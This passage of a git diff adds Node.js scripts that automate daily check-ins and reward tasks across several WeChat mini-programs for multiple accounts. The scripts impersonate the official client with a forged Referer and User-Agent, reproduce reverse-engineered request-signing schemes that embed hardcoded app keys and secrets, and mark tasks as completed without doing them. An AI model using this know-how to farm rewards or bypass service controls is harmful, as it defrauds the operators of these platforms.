`${t.slice(0, n)}...` : t; +} + +const isOk = (res) => res && res.success === true && Number(res.code) === 100; +const codeOf = (res) => Number(res?.code || 0); +const msgOf = (res) => res?.msg || res?.message || short(res); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +/** 401 是它的"会话失效"码 */ +const isAuthError = (res) => codeOf(res) === 401 || /未登录|登录失效|重新登录/.test(msgOf(res)); +/** 130004 = 查询不到会员信息,即这个微信号还没在万家乐注册会员 */ +const NO_MEMBER = 130004; + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async request(apiPath, { method = "GET", body = null, withAuth = true } = {}) { + const headers = { + "Content-Type": "application/json", + Accept: "application/json, text/plain, */*", + "Accept-Language": "zh", + Charset: "utf-8", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/117/page-frame.html`, + xweb_xhr: "1", + }; + // 服务端不下 Set-Cookie,会话得自己带 + if (withAuth && this.token) headers.Cookie = `sessionId=${this.token}`; + const res = await axios.request({ + method, + url: `${BASE}${apiPath}`, + data: method === "GET" ? undefined : body || {}, + headers, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200) { + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + /** wcs.getCode 在 status:false 时也 resolve,必须自己判失败,否则取码限流会被误报成登录失败 */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { + method: "POST", + withAuth: false, + body: { + code, + tenantId: TENANT_ID, + appBuId: APP_BU_ID, + wxAppId: MINI_APP_ID, + i3rdSystemCode: "CSP2.0", + }, + }); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + const d = res.data || {}; + const li = d.loginInfo || {}; + // sessionId 在 loginInfo 里,data.sessionId 恒为 null + this.token = String(li.sessionId || d.sessionId || ""); + if (!this.token) throw new Error(`登录未返回 sessionId: ${short(res)}`); + this.hasMember = !!(d.memberInfo || li.userId); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功${this.hasMember ? "" : "(该微信号未注册会员)"}`); + } + + /** 今天签过没:true/false;会话失效返回 null */ + async checkSigned(needLog = true) { + const res = await this.request(EP_CHECK_SIGNED); + if (!isOk(res)) { + if (isAuthError(res)) return null; + if (needLog) this.log(`读取签到状态失败: ${msgOf(res)}`); + return null; + } + return res.data === true; + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + const signed = await this.checkSigned(false); + if (signed !== null) { + this.log("使用缓存会话"); + return signed; + } + this.log("缓存会话失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + return null; + } + + async sign(signed) { + if (signed === null || signed === undefined) signed = await this.checkSigned(); + if (signed === null) { + this.log("❌ 会话无效,签到跳过"); + return; + } + if (signed) { + this.log("✅ 今日已签到"); + return; + } + // 没有会员档案时签到接口只回"系统繁忙",先问一句会员信息,把原因说清楚 + const member = await this.request(EP_MEMBER); + if (!isOk(member) && codeOf(member) === NO_MEMBER) { + this.log(`⚠️ ${msgOf(member)} —— 该微信号还没在万家乐注册会员,签到接口只会回「系统繁忙」,先在小程序里注册一次再跑`); + return; + } + const res = await this.request(EP_SIGN); + if (isOk(res)) { + const gain = res.data; + this.log(`✅ 签到成功${gain ? `,+${gain} 积分` : ""}`); + return; + } + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (codeOf(res) === 105) { + this.log(`❌ 签到失败: ${msgOf(res)}(105 是后端兜底码,多半仍是会员档案问题,可去小程序里手点一次签到确认)`); + return; + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + const signed = await this.ensureLogin(); + await this.sign(signed); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/wanyazhenxuan.js b/wxapp/wanyazhenxuan.js new file mode 100644 index 00000000..6c79776b --- /dev/null +++ b/wxapp/wanyazhenxuan.js @@ -0,0 +1,355 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.08.16 +@Description: 丸丫甄选(有赞微商城)每日签到得积分 +cron: 18 8 * * * +------------------------------------------ +变量名:wyzx +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +依赖变量:wx_server_url、wx_auth +------------------------------------------ +接口契约(h5.youzan.com,有赞 SaaS 通用签到,与本仓库 yz19.js 同一套): + 静默登录 POST /wscshop/weapp/authorize.json {appId, clientBiz, code} + -> {accessToken|access_token, sessionId, kdtId, ...} + 签到活动 GET /wscump/checkin/show_checkin_page_v2.json -> {checkinId, isShow} + 执行签到 GET /wscump/checkin/checkinV2.json?checkinId= + -> {desc, list[{infos:{title}}]};重复签到报「已达最大参与次数」 + 积分余额 GET /wscump/integral/user_points.json -> {current_points|real_points} + 公共 query:app_id / kdt_id / access_token;公共头:Extra-Data(sid/version/...) + 统一响应:code==0 成功,否则 msg 为错误原因 +------------------------------------------ +常量来源(反编译 wx35322299c6492f6e 主包): + app-config.json /ext -> kdtId=100939936、userVersion=2.219.11.101 + app.js authorize.json(静默登录,登录失败码 135000025/160210092 会重试) + app.js / c.js wscump/integral/user_points.json(getPoints) +说明:签到页 packages/ump/sign-in/index 等均在分包内,smallcat 的 + /wx/downloadurl 按文档只返回主包(参数仅 openid/appid/version_type), + 分包 js 解包后为空壳。故签到接口不是从该小程序分包里读出来的,而是沿用 + 本仓库已验证可用的有赞通用签到契约(wxapp/yz19.js、yz9d.js),并已在主包中 + 确认 authorize.json 与 user_points.json 存在,接口族一致,未做接口盲猜。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("丸丫甄选签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +const MINI_APP_ID = "wx35322299c6492f6e"; +const CLIENT_BIZ = "weapp_wsc"; +const KDT_ID = "100939936"; +const USER_VERSION = "2.219.11.101"; +const PAGE_VERSION = "0"; // Referer 里的版本号,仅用于伪装来源,不参与校验 +const API_BASE = "https://h5.youzan.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "wanyazhenxuan_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const ckName = "wyzx"; +const WX_SERVER_URL = (process.env.wx_server_url || "http://192.168.31.196:8787").replace(/\/$/, ""); +const WX_AUTH = process.env.wx_auth || ""; + +function short(value, max = 200) { + if (value === undefined || value === null) return ""; + const text = typeof value === "string" ? value : JSON.stringify(value); + return text.length > max ? `${text.slice(0, max)}...` : text; +} + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function pickToken(data = {}) { + return data.accessToken || data.access_token || ""; +} + +function isTokenError(message) { + return /access_token|token|登录|invalid session|session/i.test(String(message || "")); +} + +function isRepeatCheckin(message) { + return /已达最大参与次数|已签到|重复签到|今日已参与|已经签到/.test(String(message || "")); +} + +// smallcat 偶发 "获取失败"(运行时会话抖动):刷新会话后间隔重试,最多 4 次 +async function getWxCode(openid) { + if (!WX_AUTH) throw new Error("未配置 wx_auth"); + const headers = { auth: WX_AUTH, "Content-Type": "application/json" }; + const body = { appid: MINI_APP_ID, openid }; + let lastMsg = ""; + for (let attempt = 0; attempt < 4; attempt++) { + if (attempt) { + try { + await axios.request({ + method: "POST", + url: `${WX_SERVER_URL}/wx/refresh`, + headers, + data: body, + timeout: 30000, + validateStatus: () => true, + }); + } catch (e) { + // 刷新失败不阻断,继续重试取 code + } + await new Promise((r) => setTimeout(r, 3000)); + } + const { status, data } = await axios.request({ + method: "POST", + url: `${WX_SERVER_URL}/wx/code`, + headers, + data: body, + timeout: 30000, + validateStatus: () => true, + }); + if (data && data.status === false) { + lastMsg = data.message || "获取失败"; + continue; + } + const code = data?.code || data?.data?.code; + if (status === 200 && code) return code; + lastMsg = `HTTP ${status}: ${short(data)}`; + } + throw new Error(`获取code失败(已重试): ${lastMsg}`); +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.token = ""; + this.sessionId = ""; + this.cookie = ""; + this.kdtId = KDT_ID; + this.userInfo = {}; + this.checkinId = ""; + this.isShow = false; + this.signedBefore = false; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + + if (!this.token) { + await this.loginByWxCode(); + if (!this.token) return; + } + + await this.showCheckinPage(); + await this.doCheckin(); + await this.getPoints(); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.openid] = { + accessToken: this.token, + sessionId: this.sessionId, + kdtId: this.kdtId, + cookie: this.cookie, + mobile: this.userInfo.mobile || "", + nickName: this.userInfo.nick_name || this.userInfo.nickName || "", + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = ""; + this.sessionId = ""; + this.cookie = ""; + } + + applyToken(data = {}) { + this.token = pickToken(data); + this.sessionId = data.sessionId || data.session_id || ""; + this.kdtId = String(data.kdtId || data.kdt_id || KDT_ID); + // 登录响应本身不带 cookie 字段,此时不要覆盖 request() 从 Set-Cookie 抓到的值 + if (data.cookie) this.cookie = data.cookie; + } + + getHeaders(extra = {}) { + const headers = { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Accept": "*/*", + "Extra-Data": JSON.stringify({ + sid: this.sessionId || "", + version: USER_VERSION, + clientType: "weapp-miniprogram", + client: "weapp", + bizEnv: "wsc", + }), + ...extra, + }; + if (this.cookie) headers.Cookie = this.cookie; + return headers; + } + + getBaseParams(params = {}) { + return { + app_id: MINI_APP_ID, + kdt_id: this.kdtId, + access_token: this.token, + ...params, + }; + } + + async request({ method = "GET", path: apiPath, params = {}, data = {}, skipToken = false }) { + const options = { + method, + url: `${API_BASE}${apiPath.startsWith("/") ? apiPath : `/${apiPath}`}`, + headers: this.getHeaders(method === "POST" ? { "Content-Type": "application/json" } : {}), + timeout: 15000, + validateStatus: () => true, + }; + options.params = skipToken ? params : this.getBaseParams(params); + if (method !== "GET") options.data = data; + + const { data: result, status, headers } = await axios.request(options); + if (headers && headers["set-cookie"]) { + this.cookie = headers["set-cookie"].map((item) => item.split(";")[0]).join("; "); + } + if (status !== 200) throw new Error(`HTTP ${status}: ${short(result)}`); + if (!result || result.code !== 0) throw new Error(result?.msg || short(result)); + return result.data; + } + + async loginByWxCode() { + try { + const code = await getWxCode(this.openid); + const data = await this.request({ + method: "POST", + path: "/wscshop/weapp/authorize.json", + skipToken: true, + data: { + appId: MINI_APP_ID, + clientBiz: CLIENT_BIZ, + code, + }, + }); + this.applyToken(data); + this.userInfo = data || {}; + if (!this.token) throw new Error(`登录响应未包含 accessToken: ${short(data)}`); + this.saveCachedToken(); + $.log( + `账号[${this.index}] 登录成功: ${data.nick_name || data.nickName || ""} ${maskPhone(data.mobile) || ""}` + ); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.request({ path: "/wscump/integral/user_points.json" }); + return true; + } catch (e) { + return false; + } + } + + async showCheckinPage() { + try { + const data = await this.request({ path: "/wscump/checkin/show_checkin_page_v2.json" }); + this.checkinId = data?.checkinId || ""; + this.isShow = !!data?.isShow; + // 幂等预检:仅当服务端明确给出「今日已签」标记时才跳过提交 + this.signedBefore = + data?.todayCheckin === true || data?.isCheckin === true || data?.hasCheckinToday === true; + $.log( + `账号[${this.index}] 签到活动: checkinId=${this.checkinId || "未获取"} isShow=${this.isShow}` + + (this.signedBefore ? " 今日已签" : "") + ); + } catch (e) { + $.log(`账号[${this.index}] 获取签到活动失败: ${e.message || e}`); + if (isTokenError(e.message || e)) this.removeCachedToken(); + } + } + + async doCheckin() { + if (!this.checkinId) { + $.log(`账号[${this.index}] 未获取到 checkinId,跳过签到`); + return; + } + if (this.signedBefore) { + $.log(`账号[${this.index}] 今日已签到,跳过提交`); + return; + } + try { + const data = await this.request({ + path: "/wscump/checkin/checkinV2.json", + params: { checkinId: this.checkinId }, + }); + const awards = (data?.list || []) + .map((item) => item?.infos?.title) + .filter(Boolean) + .join(", "); + $.log(`账号[${this.index}] 签到成功: ${data?.desc || ""}${awards ? ` ${awards}` : ""}`); + } catch (e) { + const message = String(e.message || e); + if (isRepeatCheckin(message)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } + + async getPoints() { + try { + const data = await this.request({ path: "/wscump/integral/user_points.json" }); + $.log(`账号[${this.index}] 当前积分: ${data?.current_points ?? data?.real_points ?? "未知"}`); + } catch (e) { + $.log(`账号[${this.index}] 查询积分失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + await $.wait(800); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/wb.js b/wxapp/wb.js new file mode 100644 index 00000000..a766ed28 --- /dev/null +++ b/wxapp/wb.js @@ -0,0 +1,379 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: 花生帮粉丝俱乐部签到任务 +cron: 41 8 * * * +------------------------------------------ +变量名:wb +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("花生帮粉丝俱乐部签到任务"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wx841a8e9e6972a9a6"; +const PAGE_VERSION = "102"; +const API_BASE = "https://restapi.supercarrier8.com"; +const ENTERPRISE_NO = "131932658387"; +const TOKEN_CACHE_FILE = path.join(__dirname, "wb_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; +const TARGET_TASKS = { + i_0002: "浏览微信推文", + i_0003: "观看视频", + i_0006: "浏览四格漫画", +}; + +let ckName = "wb"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function md5(text) { + return crypto.createHash("md5").update(String(text)).digest("hex"); +} + +function base64(value) { + if (!value) return ""; + const text = typeof value === "string" ? value : JSON.stringify(value); + return Buffer.from(text, "utf8").toString("base64"); +} + +function getSign(method, apiPath, params, timestamp) { + let valueText = ""; + const keys = Object.keys(params || {}).sort(); + for (const key of keys) { + let value = params[key]; + if (value === "" || value === null || value === undefined) continue; + if (typeof value !== "string") { + if (Object.prototype.toString.call(value) === "[object Object]") { + Object.keys(value).forEach((itemKey) => { + if (value[itemKey] === null) delete value[itemKey]; + }); + } + value = JSON.stringify(value); + } + valueText += value; + } + const paramSign = base64(valueText); + return md5(base64(`${method.toUpperCase()}${apiPath}${paramSign}${timestamp}`)); +} + +function formatMonth() { + const date = new Date(); + return `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, "0")}`; +} + +function isTokenError(message) { + return /2032401|token|登录|授权|invalid|expire|过期|401|403/i.test(String(message || "")); +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.token = ""; + this.appOpenid = ""; + this.userId = ""; + this.userType = 0; + this.mobile = ""; + this.currentJf = 0; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + + if (!this.token) { + await this.loginByWxCode(); + if (!this.token) return; + } + + await this.getUser(); + await this.signIn(); + await this.doTargetTasks(); + this.saveCachedToken(); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.openid] = { + token: this.token, + appOpenid: this.appOpenid, + userId: this.userId, + userType: this.userType, + mobile: this.mobile, + currentJf: this.currentJf, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = ""; + this.appOpenid = ""; + this.userId = ""; + this.userType = 0; + } + + applyToken(data = {}) { + this.token = data.token || ""; + this.appOpenid = data.appOpenid || data.openid || ""; + this.userId = data.userId || data.id || ""; + this.userType = data.userType || 0; + this.mobile = data.mobile || ""; + this.currentJf = data.currentJf || 0; + } + + getHeaders(method, apiPath, payload) { + const timestamp = String(Date.now()); + return { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/json", + "X-Request-Lang": "zh-CN", + "Authorization": this.token || "", + "x-request-ts": timestamp, + "x-request-sign": getSign(method, `/${apiPath}`, payload, timestamp), + }; + } + + async request(apiPath, data = {}, method = "GET", options = {}) { + const payload = options.enterpriseNo ? { ...data } : { enterpriseNo: ENTERPRISE_NO, ...data }; + const requestOptions = { + method, + url: `${API_BASE}/${apiPath}`, + headers: this.getHeaders(method, apiPath, payload), + timeout: 20000, + validateStatus: () => true, + }; + if (method.toUpperCase() === "GET") requestOptions.params = payload; + else requestOptions.data = payload; + + const { status, data: result } = await axios.request(requestOptions); + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (!options.allowAnyCode && result?.code !== 200) { + const err = new Error(result?.message || JSON.stringify(result)); + err.code = result?.code; + throw err; + } + return result; + } + + async getLoginCode() { + const { data } = await wechat.getCode(this.openid); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + const wxLogin = await this.request("marketing/v1/wechat-user-auth/miniapp-login", { + authorizerAppid: MINI_APP_ID, + jsCode: code, + }, "GET"); + this.appOpenid = wxLogin.data?.openid || ""; + const login = await this.request("marketing/v1/customer-login/wechat-openid", { + serviceSign: wxLogin.data?.serviceSign, + openid: this.appOpenid, + appId: MINI_APP_ID, + appType: 2, + }, "POST"); + this.applyToken({ + token: login.data?.token, + appOpenid: this.appOpenid, + userId: login.data?.id, + userType: login.data?.userType, + mobile: login.data?.mobile || "", + }); + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: userId=${this.userId || "未知"}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + if (!this.token || !this.appOpenid) return false; + await this.getUser(true); + return true; + } catch (e) { + return false; + } + } + + async getUser(silent = false) { + const result = await this.request("marketing/shyx/marketing/v1/cus/get-user-info", { + openId: this.appOpenid, + enterpriseNo: ENTERPRISE_NO, + }, "GET"); + const user = result.data || {}; + this.userId = user.id || this.userId; + this.mobile = user.mobile || this.mobile; + this.currentJf = user.currentJf ?? this.currentJf; + this.saveCachedToken(); + if (!silent) $.log(`账号[${this.index}] 用户: userId=${this.userId || "未知"} 能量${this.currentJf ?? 0}`); + return user; + } + + async signIn() { + try { + const monthInfo = await this.request("marketing/cusSign/v1/getUserSignInfo", { + signMonth: formatMonth(), + }, "GET"); + const signList = Array.from(new Set(monthInfo.data?.signDateList || [])); + $.log(`账号[${this.index}] 签到记录: 本月${signList.length}天 连续${monthInfo.data?.continuousSignDays || 0}天`); + + const justSign = await this.request("marketing/sign/woBeiCus/v1/justSign", {}, "POST", { allowAnyCode: true }); + if (justSign.code !== 200 && /已签|签到/.test(String(justSign.message || ""))) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + if (justSign.code !== 200) throw new Error(justSign.message || JSON.stringify(justSign)); + if (justSign.data === 0 || justSign.data === "0") { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + + const callback = await this.request("marketing/v1/client-sign/sign-callback", { + enterpriseNo: ENTERPRISE_NO, + userId: this.userId, + }, "GET", { allowAnyCode: true }); + if (callback.code === 200) { + const rewards = Array.isArray(callback.data) ? callback.data : []; + const energy = rewards.find((item) => String(item.rewardType) === "1" || String(item.rewardType) === "2"); + $.log(`账号[${this.index}] 签到成功: +${energy?.rewardValue || justSign.data || "未知"}能量`); + } else { + $.log(`账号[${this.index}] 签到回调失败: ${callback.message || callback.code}`); + } + } catch (e) { + const message = e.message || e; + if (/已签|今日已签到|重复/.test(String(message))) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } + + async getTaskList() { + const result = await this.request("marketing/sign/marketing/v1/cus/get-user-task-list", { + UserID: this.userId, + UserType: this.userType, + }, "GET"); + return Array.isArray(result.data) ? result.data : []; + } + + async setTaskOk(task) { + return await this.request("marketing/sign/marketing/v1/cus/set-task-ok", { + taskId: task.id, + userId: this.userId, + mode: "1", + }, "POST", { allowAnyCode: true }); + } + + async completeTask(task) { + return await this.request("marketing/sign/marketing/v1/cus/task-complete", { + taskId: task.id, + userId: this.userId, + }, "POST", { allowAnyCode: true }); + } + + async doTargetTasks() { + try { + const taskList = await this.getTaskList(); + const tasks = taskList.filter((task) => TARGET_TASKS[task.indexNo]); + if (!tasks.length) { + $.log(`账号[${this.index}] 未找到目标任务`); + return; + } + + for (const task of tasks) { + const taskName = task.taskName || TARGET_TASKS[task.indexNo]; + if (String(task.status) === "2") { + $.log(`账号[${this.index}] ${taskName}: 已完成`); + continue; + } + + if (String(task.status) === "0") { + const ok = await this.setTaskOk(task); + if (ok.code !== 200) { + $.log(`账号[${this.index}] ${taskName}: 标记完成失败 ${ok.message || ok.code}`); + continue; + } + } + + const complete = await this.completeTask(task); + if (complete.code === 200) { + $.log(`账号[${this.index}] ${taskName}: 领取成功 +${task.awardsValue || "未知"}能量`); + } else if (complete.code === 21210108) { + $.log(`账号[${this.index}] ${taskName}: 奖励已领取`); + } else { + $.log(`账号[${this.index}] ${taskName}: 领取失败 ${complete.message || complete.code}`); + } + } + } catch (e) { + const message = e.message || e; + $.log(`账号[${this.index}] 任务中心失败: ${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/wcs.js b/wxapp/wcs.js new file mode 100644 index 00000000..6d3ed63d --- /dev/null +++ b/wxapp/wcs.js @@ -0,0 +1,58 @@ +const axios = require("axios"); +class WeChatCodeServer { + constructor(options) { + this.serverUrl = options.url; + this.appid = options.appid; + this.auth = options.auth; + } + getCode(openid) { + console.log('等待获取code:'); + return new Promise((resolve, reject) => { + axios.post(this.serverUrl + '/wx/code', { appid: this.appid, openid }, { + headers: { + 'auth': this.auth + }, + timeout: 30 * 1000 + }).then(res => { + console.log('获取code成功:'); + resolve(res); + }).catch(err => { + reject(err); + }); + }); + } + + cloudInit(openid) { + console.log('等待云函数初始化:'); + return new Promise((resolve, reject) => { + axios.post(this.serverUrl + '/wx/call/init', { appid: this.appid, openid }, { + headers: { + 'auth': this.auth + }, + timeout: 30 * 1000 + }).then(res => { + console.log('云函数初始化成功:'); + resolve(res); + }).catch(err => { + reject(err); + }); + }); + } + cloudCall(openid) { + console.log('等待云函数调用:'); + return new Promise((resolve, reject) => { + axios.post(this.serverUrl + '/wx/cloud/call', { appid: this.appid, openid }, { + headers: { + 'auth': this.auth + }, + timeout: 30 * 1000 + }).then(res => { + console.log('云函数调用成功:'); + resolve(res); + }).catch(err => { + reject(err); + }); + }); + } +} +module.exports = WeChatCodeServer; \ No newline at end of file diff --git a/wxapp/wph.js b/wxapp/wph.js new file mode 100644 index 00000000..a6120713 --- /dev/null +++ b/wxapp/wph.js @@ -0,0 +1,392 @@ +/* +------------------------------------------ +@Description: 唯品会 - 微信小程序静默登录 + 每日签到(唯品币签到) +cron: 40 7,19 * * * +------------------------------------------ +变量名:wph +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxe9714e742209d35f,host mapi.vip.com / weixin-api.vip.com / act-ug.vip.com): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录,登录只用 wx.login code,不需要 encryptedData) + +登录1(拿 VIP_TANK/userId) POST https://mapi.vip.com/vips-mobile/rest/auth/third_party/trylogin/v1?api_key=API_KEY + body: baseData + {hash, code, event:2, deviceId:marsCid, context:'{"iv":"","encryptedData":""}', + source_app_type:"shop_weixin_mina", login_type:"WEIXIN_SMALL_APP", third_type:"WEIXIN"} + -> code===1 && data.tokenId(=VIP_TANK)、data.userId +登录2(拿 vip openid) POST https://weixin-api.vip.com/v4/LiteApp/getUserInfo?api_key=API_KEY + body: baseData + {code, iv:"", encryptedData:"", hash} + -> code===0 && data.openid(=vip 侧 openid,服务端由 code 派生,非明文微信 openid)、data.unionid +状态 POST https://act-ug.vip.com/checkInAward/withSign/info?api_key=API_KEY body baseData+{openid:vipOpenid,actId:ACT_ID,biz_code:"old"} + -> code===1,data.checkInList[isCheckInDay==1].isCheckIn==1 表示今日已签 +签到 POST https://act-ug.vip.com/checkInAward/withSign/checkin?api_key=API_KEY 同上 body -> code===1 + +请求签名(仅 act-ug 签到接口带): + secret = aes-128-cbc-decrypt(base64(SIGN_SECRET_ENC), key="weixin_smallmina", iv="weixin"+10*0x00) + paramHash = sha1( 参数按 key 升序、剔除 api_key、拼成 k=v&... ,对象值 JSON.stringify ) + api_sign = sha1( path + paramHash + VIP_TANK + marsCid + secret ) + Authorization: OAuth api_sign=;Cookie: mars_cid/userId/warehouse/VIP_TANK/wap_consumer + X-Traceid: ;__need_sign=1 + +API_KEY / HASH / ACT_ID / SIGN_SECRET_ENC / marsCid算法 均为该小程序固定应用常量(原脚本硬编码,非个人凭证)。 +marsCid 为设备号,首次生成后按账号缓存复用(登录与签名都要用同一个)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("唯品会签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "wph"; +const MINI_APP_ID = "wxe9714e742209d35f"; +const PACKAGE_VERSION = "1371"; +const MINI_APP_VERSION = "2.19.13.20260731"; +const API_KEY = "ce29a51aa5c94a318755b2529dcb8e0b"; +const HASH = "ptx26"; +const ACT_ID = "H3gRnE1Xi18="; +const SIGN_SECRET_ENC = "Ql4mW09F3urBNdzBLfK6UuRTqj22Bta7eEKTO7n5jFf9uU6FZZmcfe/gurOAOB+o"; +const DEFAULT_WAREHOUSE = "VIP_NH"; +const DEFAULT_PROVINCE = "104104"; +const DEFAULT_AREA = "104104101"; +const TOKEN_CACHE_FILE = path.join(__dirname, "wph_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, 